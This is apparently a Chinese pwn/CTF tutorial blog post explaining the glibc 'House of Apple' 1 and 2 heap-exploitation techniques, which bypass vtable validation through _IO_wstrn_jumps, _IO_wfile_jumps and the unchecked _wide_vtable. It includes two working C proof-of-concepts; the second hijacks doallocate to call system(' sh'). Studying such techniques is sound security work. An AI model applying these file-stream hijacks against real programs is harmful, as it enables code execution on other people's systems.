堆利用之House of Apple

First Post:

Last Update:

Page View: loading...

堆利用之House of apple

前置知识

学习这种手法之前建议学习的知识:

  • FSOP
  • largebin attack

适用范围:glibc2.23-glibc2.34+

简介

House of Apple 是一种使用largebin attack+FSOP利用的一种新技术

在老版本 glibc 中,我们只需要伪造一个 _IO_FILE 结构体,把它的 vtable 指针指向堆上我们伪造的一个表,表里填上 system 地址。当程序调用 vtable->overflow 时,就变成了 system(“/bin/sh”)。

但是,后来 glibc 加入了 IO_validate_vtable 函数。

  • 检查机制:如果你把 vtable 指针修改为堆上的地址,或者不在 glibc 的只读数据段(_IO_file_jumps 所在区域),程序会直接报错终止。
  • 困境:我们不能随意伪造 vtable 了,只能指向 glibc 中本来就存在的合法 vtable。

而house of apple 把主 vtable 指向了合法的 _IO_wfile_jumps,通过这个跳板,最终利用了没有被检查_wide_vtable

House of apple1e

在此之前我们先回头在看看_IO_FILE中的结构&偏移

_IO_FILE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 结构体起始地址设为 base
// 下方是相对于 base 的偏移量 (十六进制)

+0x00: _flags (4 bytes, 通常构造为 "/bin/sh\x00" 或 Magic Number)
+0x08: _IO_read_ptr (char *)
+0x10: _IO_read_end (char *)
+0x18: _IO_read_base (char *)
+0x20: _IO_write_base (char *)
+0x28: _IO_write_ptr (char *)
+0x30: _IO_write_end (char *)
+0x38: _IO_buf_base (char *)
+0x40: _IO_buf_end (char *)
+0x48: _IO_save_base (char *)
+0x50: _IO_backup_base (char *)
+0x58: _IO_save_end (char *)
+0x60: _markers (struct _IO_marker *)
+0x68: _chain (struct _IO_FILE *) <-- 链表指针,指向下一个 FILE 结构
+0x70: _fileno (int) <-- 文件描述符
+0x74: _flags2 (int)
+0x78: _old_offset (__off_t)
+0x80: _cur_column (unsigned short)
+0x82: _vtable_offset (signed char)
+0x83: _shortbuf (char[1])
+0x88: _lock (_IO_lock_t *) <-- 必须指向可写内存(通常设为 NULL 或已知堆地址)
+0x90: _offset (__off64_t)
+0x98: _codecvt (struct _IO_codecvt *)
+0xa0: _wide_data (struct _IO_wide_data *) <-- house of aple1 利用点
+0xa8: _freeres_list (struct _IO_FILE *)
+0xb0: _freeres_buf (void *)
+0xb8: __pad5 (size_t)
+0xc0: _mode (int) <-- 宽字符模式开关 (0, -1, 1)
+0xc4: _unused2 (char[20])

// --- _IO_FILE 结束,_IO_FILE_plus 开始 ---

+0xd8: vtable (struct _IO_jump_t *) <-- 虚表指针 (利用的关键!)

house of apple1中主要是利用了_IO_FILE中的 _wide_data,偏移为0xa0,该成员为 _IO_wide_data结构体类型

_IO_wide_data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct _IO_wide_data
{
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
wchar_t *_IO_save_base;
wchar_t *_IO_backup_base;
wchar_t *_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;// <--- 关键点 偏移为0xe0
};

在_IO_wide_data中也存在一个 _wide_vtable虚表,可以看见它为 _IO_jump_t类型,

_IO_wstrn_jumps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const struct _IO_jump_t _IO_wstrn_jumps libio_vtable attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

而 _IO_wstrn_jumps会调用里面的函数指针来调用函数,所以我们可以把 _IO_FILE的vtable改为 _IO_wstrn_jumps来触发攻击,利用 _IO_wstrn_jumps位于libc只读数据段,从而绕过IO_validate_vtable的检查

下面具体讲讲怎么个利用

原理

house of apple1 主要是对_IO_wstrn_jumps结构体中的函数指针指向的 _IO_wstrn_overflow的利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
44 snf->overflow_buf + (sizeof (snf->overflow_buf)
4444 / sizeof (wchar_t)), 0);

fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
4444 + (sizeof (snf->overflow_buf)
44444 / sizeof (wchar_t)));
}

fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
return c;
}

该函数的核心操作是处理宽字符字符串流的溢出:

  • 判断与初始化:检查 _wide_data->_IO_buf_base 是否指向了结构体内部的临时的溢出缓冲区(snf->overflow_buf)。
  • 重置读写指针:它会将 _IO_write_base、_IO_read_ptr 等指针全部强行指向这个临时缓冲区。
  • 关键动作:函数最后将 _IO_write_ptr 和 _IO_write_end 设置为相等(都指向缓冲区开头)。

可以发现这里并没有对fp->_wide_data进行合法性检查

既然不检查地址,我们可以将 fp->_wide_data 指针修改为任何我们控制的内存地址(通常是堆地址)。

  • 在这个伪造的堆地址上,我们可以精准地布置每一个字节,伪造出一个完整的 struct _IO_wide_data。
  • 我们可以利用其中的赋值** fp->_wide_data->_IO_write_base = snf->overflow_buf;**控制所有的读写指针(_IO_read_ptr, _IO_write_base 等)的值为snf->overflow_buf的地址

造成的实际效果就是向某个目标地址写入snf->overflow_buf(不可控)的地址

下面是我的一个模仿的Poc:

poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

size_t dest[10];

void init(){
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
}

int main(int argc, char *argv[])
{
// House of Apple 1 并不能直接获取 shell,下面是我自己写的一个 poc
init();

printf("目标地址:%p\n", &dest); // 写入的目标地址
printf("目标地址的值:%p",dest[0]);

size_t libcbase = (size_t)&printf - 0x606f0; // 获取 libc 基地址
printf("获取 libc 基地址 || libc 基地址为:%p\n", (void*)libcbase);

size_t *_io_list_all = (size_t *)(libcbase + 0x21b680);
printf("|| _IO_list_all is :%p\n", _io_list_all);

// 第一步,伪造 io_file 并且将其挂进 io_list_all
size_t *fake_io = malloc(0x200);//伪造的io结构体
memset(fake_io, 0, 0x200);
printf("|| fake_io is :%p ", fake_io);

size_t *fake_vtable = fake_io + 0xd8/8;
printf("|| fake_vtable is :%p", fake_vtable);//伪造的vtable地址

size_t _IO_wstrn_jumps = libcbase + 0x216dc0; //获取_IO_wstrn_jumps地址
printf("|| _IO_wstrn_jumps is :%p", (void*)_IO_wstrn_jumps);
4//修改_IO_list_all
*_io_list_all = (size_t)fake_io;
printf("现在的 || _IO_list_all is :%p\n", _io_list_all);

// 第二步,修改 fake_vtable 为 _IO_wstrn_jumps
*fake_vtable = _IO_wstrn_jumps;
printf("|| fake_vtable now is : %p\n", fake_vtable);

// 第三步,修改 fake_io+0xa0 也就是 wide_data 为我们的目标地址
printf("修改前,wide_data = %p", (void*)*(size_t*)((char*)fake_io + 0xa0));
*(size_t*)((char*)fake_io + 0xa0) = (size_t)((char*)&dest[0] - 0x18);

printf("修改后,wide_data = %p\n", (void*)*(size_t*)((char*)fake_io + 0xa0));

//下面为了让 Glibc 调用 fp->vtable->__overflow 这个虚函数所构造的条件,可以看看FSOP
*(size_t*)((char*)fake_io + 0x20) = 0;
*(size_t*)((char*)fake_io + 0x28) = 1;


fcloseall(); //触发io_overflow函数,这里用exit或者abort都是一样的效果

printf("目标地址的值:%p\n", dest[0]);
//成功写入snf->overflow_buf地址
system("read -p 'Press Enter to continue...' var");

return 0;
}

下面开始演示:

第一步: 获取所需函数及参数地址,伪造 io_file 并且将其挂进 io_list_all管理的链表中,我这里选择直接修改 io_list_all 的值

image-20260211210404129

第二步: 修改 fake_vtable 为 _IO_wstrn_jumps

image-20260211210506471

第三步: 修改 fake_io+0xa0 也就是 wide_data 为我们的目标地址dest-0x18

为什么是0x18?

因为_IO_wide_data 结构体中的偏移

  • _IO_write_base:偏移 0x18

  • _IO_write_ptr :偏移 0x20

  • _IO_write_end :偏移 0x28

    1
    这里我们提前将目标地址减了0x18,在触发攻击时,就可以直接向目标地址写入snf->overflow_buf的地址了

image-20260211211804535

但dest-0x18里的值也会改变,因为fp->_wide_data->_IO_read_ptr = snf->overflow_buf;

1
2
3
4
5
6
7
pwndbg> tel 0x4040a0-0x18
00:0000│ 0x404088 (completed) —▸ 0x405390 ◂— 0
01:0008│ 0x404090 —▸ 0x405490 ◂— 0
02:0010│ 0x404098 —▸ 0x405390 ◂— 0
... ↓ 4 skipped
07:0038│ 0x4040c0 (dest+32) —▸ 0x405490 ◂— 0
pwndbg>

这就是一次完整的house of apple1,这个攻击手法只能往几个地址写入一个堆地址。

house of apple2

简介

house of apple2主要是对_IO_wfile_jumps这个结构体进行利用,利用 _IO_OVERFLOW的 _IO_wfile_overflow(也可以对其他的io链进行利用)去劫持 _IO_wfile_doallocate函数

原理
_IO_wfile_jumps结构:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY, // offset 0x00
JUMP_INIT_DUMMY, // offset 0x08
JUMP_INIT(finish, _IO_new_file_finish), // offset 0x10
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), // offset 0x18 触发漏洞点
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), // offset 0x20
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), // offset 0x28
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), // offset 0x30
JUMP_INIT(xsputn, _IO_wfile_xsputn), // offset 0x38
JUMP_INIT(xsgetn, _IO_file_xsgetn), // offset 0x40
JUMP_INIT(seekoff, _IO_wfile_seekoff), // offset 0x48
JUMP_INIT(seekpos, _IO_default_seekpos), // offset 0x50
JUMP_INIT(setbuf, _IO_new_file_setbuf), // offset 0x58
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), // offset 0x60
JUMP_INIT(doallocate, _IO_wfile_doallocate), // offset 0x68 ← House of Apple 2 劫持点
JUMP_INIT(read, _IO_file_read), // offset 0x70
JUMP_INIT(write, _IO_new_file_write), // offset 0x78
JUMP_INIT(seek, _IO_file_seek), // offset 0x80
JUMP_INIT(close, _IO_file_close), // offset 0x88
JUMP_INIT(stat, _IO_file_stat), // offset 0x90
JUMP_INIT(showmanyc, _IO_default_showmanyc), // offset 0x98
JUMP_INIT(imbue, _IO_default_imbue) // offset 0xa0
};
libc_hidden_data_def (_IO_wfile_jumps)

漏洞点位于结构体中的_IO_wfile_overflow函数

_IO_wfile_overflow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
4{
4 _IO_wdoallocbuf (f); //漏洞点
4 _IO_free_wbackup_area (f);
4 _IO_wsetg (f, f->_wide_data->_IO_buf_base,
44 f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

4 if (f->_IO_write_base == NULL)
4 {
4 _IO_doallocbuf (f);
4 _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
4 }
4}


}
......
}
libc_hidden_def (_IO_wfile_overflow)

_IO_wfile_overflow中在经过一些对flag值的检查后会调用其中的 _IO_wdoallocbuf函数,该函数会调用wide_data->wide_vtable中的函数指针,所以我们得进入该函数分支才可以劫持wide_vtable中的函数指针来getshell

进入函数前得满足的三个条件:

  1. f->_flags & _IO_NO_WRITES要为假,确保 _flags 不包含 _IO_NO_WRITES(其值为 0x8
  2. (f->_flags & _IO_CURRENTLY_PUTTING) == 0,确保 _IO_CURRENTLY_PUTTING 标志为0,其值为0x800,也就是说_flags 的高位不要设置 0x800
  3. f->_wide_data->_IO_write_base == 0,这里只需要我们伪造的wide_data中的_IO_write_base成员的值为0即可
_IO_wdoallocbuf
1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) //漏洞在此!
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
44 fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

该函数中调用了wide_vtable中的_IO_WDOALLOCATE函数指针,具体偏移可以看看 _IO_jump_t里的因为wide_vtable就是这个类型

这里我们还得绕过两个检查:

  1. if (fp->_wide_data->_IO_buf_base),fp->_wide_data->_IO_buf_base这个值得为0,伪造时清零即可
  2. if (!(fp->_flags & _IO_UNBUFFERED))_IO_UNBUFFERED 宏的值为 0x2,即 _flags 的第 1 位(bit1)不能为 1

到这里思路差不多就有了,目标是伪造一个次级虚表篡改_IO_WDOALLOCATE为system,然后fp改为” sh”(因为空格 0x20 的 bit1 和 bit3 均为 0,可以绕过检查)

  1. 我们先伪造 一个fake_IO_FILE_ 并且将其挂进 _IO_list_all,然后伪造fake_vtable(次级虚表) 和fake_wide_data结构体
  2. 修改伪造的FILE结构的vtable为_IO_wfile_jumps的地址,将fake_IO_FILE中的wide_data改为我们伪造的,wide_data中的wide_vtable改为我们伪造的次级虚表地址,将次级虚表里面的doallocate函数指针为system
  3. 为了触发_IO_wfile_overflow函数,分别将write_base设置为 0 write_ptr设置为1,_mode为0,并将伪造的FILE结构的_flag值设定为” sh”
  4. 最后程序退出刷新文件流,触发攻击

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#define _GNU_SOURCE 
#define SHOW(x) printf("||" #x " = %p\n", (void*)(x))
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void init(){
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
}

int main()
{
init();
//offest is 0x86390
//get libc 基地址
size_t libcbase = (size_t)&printf - 0x606f0; // 获取 libc 基地址

//获取_IO_wfile_jumps、io_list_all的地址
size_t _IO_wfile_jumps;
_IO_wfile_jumps = libcbase + 0x2170c0;
SHOW(_IO_wfile_jumps);
size_t* _IO_list_all = libcbase + 0x21b680;
SHOW(_IO_list_all);
// 第一步,伪造 io_file 并且将其挂进 io_list_all,然后伪造fake vtable 和fake wide
size_t *fake_io = malloc(0x200);
memset(fake_io, 0, 0x200);
SHOW(fake_io);

size_t *fake_fp_vtable = (size_t*)((char*)fake_io + 0xd8);
size_t *fake_fp_wide = (size_t*)((char*)fake_io + 0xa0);
SHOW(fake_fp_vtable);

size_t *fake_vtable = (size_t*)malloc(0x200);
memset(fake_vtable,0,0x200);

size_t *fake_wide_data = (size_t*)malloc(0x200);
memset(fake_wide_data,0,0x200);

size_t *fake_wide_data_vtable = (size_t*)((char*)fake_wide_data+0xe0);

SHOW(fake_vtable);
SHOW(*fake_wide_data);

*_IO_list_all = fake_io;

SHOW(_IO_list_all);

//第二步,修改伪造的fp的vtable为_IO_wfile_jumps的地址,
//然后把伪造的wide结构体挂进伪造的fp里,
//并修改伪造的wide_vtable为我们伪造的vtable,
//修改vtable中的doallocate函数指针为system

*fake_fp_vtable = _IO_wfile_jumps;
*fake_fp_wide = fake_wide_data;
*fake_wide_data_vtable = fake_vtable;

size_t* doallocate = (size_t*)((char*)fake_vtable+0x68);

*doallocate = &system;
SHOW(*fake_fp_vtable);
SHOW(*fake_fp_wide);
SHOW(*fake_wide_data_vtable);
SHOW(*doallocate);
//第三步布置fsop前置值,触发house of apple2
//fake_io[0] = 0x3b68732020;
strcpy((char*)fake_io," sh");
*(size_t*)((char*)fake_io + 0x20) = 0;
*(size_t*)((char*)fake_io + 0x28) = 1;

fcloseall();

getchar();
return 0;

}

攻击效果:

image-20260215200252306

参考链接:

https://zikh26.github.io/posts/19609dd.html#house-of-apple1

https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/